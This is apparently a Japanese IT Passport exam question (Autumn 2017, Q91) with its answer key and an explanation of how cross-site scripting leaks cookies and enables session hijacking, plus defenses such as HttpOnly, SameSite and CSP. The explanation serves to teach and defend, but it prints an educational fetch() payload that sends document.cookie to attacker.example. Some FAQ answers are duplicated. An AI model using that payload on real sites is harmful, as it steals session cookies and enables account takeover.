ITパスポート 2017年 秋期 問91
問題文
クロスサイトスクリプティングなどの攻撃で、Cookieが漏えいすることによって受ける被害の例はどれか。
選択肢
ア:PCがウイルスに感染する。
イ:PC内のファイルを外部に送信される。
ウ:Webサービスのアカウントを乗っ取られる。(正解)
エ:無線LANを介してネットワークに侵入される。
🔒 解説は解答すると表示されます
クロスサイトスクリプティングでのCookie漏えいによる被害例はどれか【ITパスポート 解説】
正解の理由
クロスサイトスクリプティング(英: Cross-Site Scripting:略称 XSS)は、Webページに悪意あるスクリプト(普通は JavaScript)を埋め込み、閲覧者のブラウザ上で実行させる攻撃です。Cookie(クッキー:ブラウザに保存される小さなデータ)には、ログイン状態を表すセッションIDなど重要な情報が含まれることがあります。攻撃者がスクリプトでこの Cookie を盗むと、そのセッション情報を使って Webサービスに不正ログイン(アカウントの乗っ取り)が可能になります。したがって、選択肢の中で最も直接的に起こり得る被害は ウ「Webサービスのアカウントを乗っ取られる」です。
解法ステップ
- 問題文のキーワードを確認する:クロスサイトスクリプティング(XSS)と Cookie 漏えい。
- XSS が何をできるかを考える:ブラウザでスクリプトを動かせる(例:document.cookie にアクセスできる)。
- Cookie の中身が何に使われるかを思い出す:認証情報やセッションIDなどが保存されることがある。
- 選択肢をそれぞれ、Cookie の漏えいで直接起こるかどうかで判定する:
- 認証情報の盗用 → アカウント乗っ取りに直結(正解)
- ウイルス感染やファイル送信、無線LANからの侵入は Cookie 漏えいだけでは説明できない(間接的・別経路が必要)。
選択肢別の誤答解説
-
ア: PCがウイルスに感染する。
Cookie が漏れるだけではウイルス(マルウェア)が自動的にPCに侵入・実行されるわけではありません。ウイルス感染はメール添付や不正ソフトの実行など別の手段が通常必要です。 -
イ: PC内のファイルを外部に送信される。
ブラウザの Cookie が盗まれても、攻撃者が直接その PC のローカルファイルにアクセスして外部送信するわけではありません。ローカルファイル送信はさらに別の脆弱性(例えば任意ファイルアップロードやリモート実行)が必要です。 -
ウ: Webサービスのアカウントを乗っ取られる。
Cookie にセッションIDや認証トークンが含まれていると、攻撃者はその値を使って正規ユーザとしてログインしたふりができます(セッションハイジャック)。XSS による Cookie 盗用は典型的な手口です。 -
エ: 無線LANを介してネットワークに侵入される。
Cookie 漏えいは主に Web アプリケーションとブラウザ間のやり取りに関する問題であり、無線LAN(Wi‑Fi)経由のネットワーク侵入とは別カテゴリです。無線LAN侵入は暗号化の欠如や弱い認証が原因です。
よくある誤解
-
「Cookie が盗まれたらすぐにPCが壊れる」
Cookie 自体は小さなテキストデータです。PC のシステムを破壊するものではなく、主に Webサービス上の認証情報などが危険になります。 -
「すべての Cookie が同じ危険度」
Cookie の用途は様々です。閲覧履歴を保存するだけのものもあれば、ログイン状態を管理する重要な Cookie(セッションID)もあります。重要な情報が保存されているかどうかで危険度が変わります。 -
「XSS=ウイルス」や「ウイルス対策ソフトだけで防げる」
XSS は Web アプリの脆弱性を利用した攻撃で、ウイルス(マルウェア)とは仕組みが異なります。防御には Web 側の対策(入力の無害化や HttpOnly 設定など)も必要です。
補足コラム
-
セッションハイジャック(英: session hijacking)とは
ブラウザとサーバ間のやり取りで用いられるセッションIDを不正に取得し、正規ユーザになりすます攻撃です。XSS による Cookie 盗用はその一例です。 -
ブラウザ側・サーバ側の代表的な防御策
- HttpOnly 属性:Cookieに HttpOnly を付けると、JavaScript からその Cookie を参照できなくなり XSS による盗用を防ぎやすくなります。
- Secure 属性:HTTPS 接続時のみ Cookie を送る設定で、中間者攻撃のリスクを下げます。
- SameSite 属性:外部サイトからのリクエストで Cookie が送られるのを制限し、CSRF(クロスサイトリクエストフォージェリ)対策になります。
- 入力の無害化(エスケープ)・コンテンツセキュリティポリシー(CSP):XSS をそもそも起こさせない対策です。
-
簡単な XSS ペイロード例(教育目的)
JavaScript で Cookie を外部に送る例:// 危険な例:実際に使うと不正行為になります fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie));HttpOnly が付いている Cookie は document.cookie から読み取れません。
FAQ
Q1: Cookie を盗まれたら必ずアカウントが乗っ取られますか?
A1: 必ずではありません。Cookie にセッションIDや認証トークンが入っている場合に特に危険です。HttpOnly や短い有効期限、IP 補正などの対策があれば乗っ取りは難しくなります。
A1: 必ずではありません。Cookie にセッションIDや認証トークンが入っている場合に特に危険です。HttpOnly や短い有効期限、IP 補正などの対策があれば乗っ取りは難しくなります。
Q2: 自分の PC でできる対策はありますか?
A2: ブラウザや拡張機能を最新に保つ、怪しいサイトやリンクを開かない、公共のWi‑Fiでは重要な操作を避ける、などが有効です。また二段階認証(2FA)を有効にすると、Cookieだけでは完全に乗っ取れない場合が増えます。
A2: ブラウザや拡張機能を最新に保つ、怪しいサイトやリンクを開かない、公共のWi‑Fiでは重要な操作を避ける、などが有効です。また二段階認証(2FA)を有効にすると、Cookieだけでは完全に乗っ取れない場合が増えます。
Q3: XSS と CSRF の違いは?
A3: XSS は悪意あるスクリプトを実行させてデータを盗む攻撃、CSRF(クロスサイトリクエストフォージェリ)は利用者の権限で意図しない操作をさせる攻撃です。どちらも Web の脅威ですが仕組みと対策が異なります。
A3: XSS は悪意あるスクリプトを実行させてデータを盗む攻撃、CSRF(クロスサイトリクエストフォージェリ)は利用者の権限で意図しない操作をさせる攻撃です。どちらも Web の脅威ですが仕組みと対策が異なります。
関連キーワード: クロスサイトスクリプティング、XSS、Cookie、セッションハイジャック、HttpOnly、SameSite、Webセキュリティ、JavaScript

\ せっかくなら /
ITパスポートを
クイズ形式で学習しませんか?
クイズ画面へ遷移する→
すぐに利用可能!

